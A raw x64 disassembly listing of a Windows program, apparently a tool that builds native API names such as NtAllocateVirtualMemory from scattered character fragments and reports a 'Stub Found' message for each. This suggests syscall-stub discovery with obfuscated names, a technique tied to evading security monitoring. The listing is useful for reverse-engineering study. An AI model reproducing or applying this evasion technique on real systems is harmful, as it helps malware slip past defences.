lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x1400c33de]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x1400c33e0]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x910]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xb1f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0xb20]
mov rcx, qword [rbp + 0x2fd0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140004c94
lea rbx, [0x1400c33b4]
jmp 0x140004c9b
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xd0f]
mov qword [rbp + 0x2ed8], rax
nop
nop
lea rdx, [rbp + 0xd0f]
lea rax, [rbp + 0xce0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x1400c33e2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x1400c33d8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x1400c33da]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0xb40]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xd0f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0xd10]
mov rcx, qword [rbp + 0x2fc8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140004fd0
lea rbx, [0x1400c33b4]
jmp 0x140004fd7
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xfdf]
mov qword [rbp + 0x2ed0], rax
nop
nop
lea rdx, [rbp + 0xfdf]
lea rax, [rbp + 0xfb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x1400c33e6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x1400c33e8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x1400c33ec]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x1400c33ee]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x1400c33f0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x1400c33f2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0xd30]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0xfdf]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0xfe0]
mov rcx, qword [rbp + 0x2fc0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140005440
lea rbx, [0x1400c33b4]
jmp 0x140005447
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x132f]
mov qword [rbp + 0x2ec8], rax
nop
nop
lea rdx, [rbp + 0x132f]
lea rax, [rbp + 0x1300]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x1400c33f4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x1400c33f6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x1400c33f8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x1400c33d4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x1400c33a0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x1000]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x132f]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x1330]
mov rcx, qword [rbp + 0x2fb8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140005960
lea rbx, [0x1400c33b4]
jmp 0x140005967
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x15bf]
mov qword [rbp + 0x2ec0], rax
nop
nop
lea rdx, [rbp + 0x15bf]
lea rax, [rbp + 0x1590]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x1400c33e2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x1400c33dc]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x1400c33a6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x1400c33a8]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x1400c33ac]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x1400c33a2]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x1400c33ae]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x1400c33b0]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x1400c33b2]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x1350]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x15bf]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x15c0]
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140005d78
lea rbx, [0x1400c33b4]
jmp 0x140005d7f
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x16cf]
mov qword [rbp + 0x2eb8], rax
nop
nop
lea rdx, [rbp + 0x16cf]
lea rax, [rbp + 0x16a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x1400c33d6]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x1400c339c]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x1400c339e]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x1400c33e4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rdx, [rbp + 0x15e0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400aaa30
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.1400aa9f0
lea rax, [rbp + 0x16cf]
mov rcx, rax
call fcn.14009b3a0
nop
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400a9d30
mov r9, qword [rbp + 0x2f28]
mov r8, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f20]
lea rax, [rbp + 0x16d0]
mov rcx, qword [rbp + 0x2fa8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3000]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2f1c], eax
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.1400aa9f0
cmp dword [rbp + 0x2f1c], 0
je 0x140005f80
lea rbx, [0x1400c33b4]
jmp 0x140005f87
lea rbx, [0x1400c33b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400301f0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x189f]
mov qword [rbp + 0x2eb0], rax
nop
nop
lea rdx, [rbp + 0x189f]
lea rax, [rbp + 0x1870]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aa1d0
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x1400c3398]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x1400c33ee]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x1400c33fa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x1400c33a4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x1400c33ea]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x1400c33d4]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x1400c33aa]
mov rcx, rax
call fcn.1400bab10
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x1400c339e]
